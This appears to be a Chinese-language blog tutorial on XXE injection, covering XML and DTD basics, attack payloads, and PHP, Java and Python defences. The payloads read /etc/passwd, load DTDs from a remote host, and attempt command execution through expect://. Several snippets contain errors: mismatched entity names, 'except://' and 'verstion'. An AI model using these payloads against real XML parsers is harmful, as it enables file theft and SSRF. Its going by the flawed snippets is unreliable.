【XXE】XXE漏洞攻击与防御
0x01 XML基础
在聊XXE之前，先说说相关的XML知识吧。
定义
XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
文档结构
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD中的一些重要的关键字：
- DOCTYPE（DTD的声明）
- ENTITY（实体的声明）
- SYSTEM、PUBLIC（外部资源申请）
实体类别介绍
实体主要分为一下四类
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；
其余实体只能在DTD中申明，可在xml文档中引用。
举例：
内部实体
<!ENTITY 实体名称 "实体内容">
外部实体
<!ENTITY 实体名称 SYSTEM "URI">
参数实体
<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">
注意：参数实体是在DTD中被引用的，而其余实体是在xml文档中被引用的。
外部实体
默认协议
PHP扩展协议
举例：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
0x02 XXE漏洞
XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
举例
- 恶意引入外部实体(1)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<value>&passwd;</value>
</a>
- 恶意引入外部实体(2)
**XML内容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 恶意引入外部实体(3)
XML文件内容
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>
DTD文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害
- 读取任意文件
- 有回显
XML.php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问XML.php可以读取etc/passwd文件内容
- 无回显
当页面没有回显的话，可以将文件内容发送到远程服务器，然后读取。
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
远程服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 命令执行
php环境下，xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
- 内网探测/SSRF
由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。
0x03 XXE漏洞修复与防御
- 使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。
0x04 遗留问题(已解决)
以上测试在php5.4一下包括5.4是成功的，php5.5及以上是不成功的。可能的原因是5.5以上版本后，simplexml_load_string()、DOMDocument::loadxml()等不解析外部实体导致都不到文件还是因为libxml2版本的问题，还是高版本的php本身默认不解析外部实体呢，还是其他神恶魔原因呢？如果是因为php本身问题，那么XXE的利用范围也太过小了吧，应该不是这样的。。但是讲道理网上的资料太老了吧，估计也是参考别人的自己没有试验吧，等有空再做实验看看是什么问题。
（2017.9.20更新）
今天在弄phith0n的vulhub的时候，无意间看到php-xxe的项目，得到了我想要的结果。XXE的利用跟php版本没有关系，而是xmllib的版本问题，xmllib2.9.0以后，是默认不解析外部实体的。
0x05 参考文献
https://security.tencent.com/index.php/blog/msg/69
http://php.yjsweb.cn/php/68075544811183197241.html
https://thief.one/2017/06/20/1/
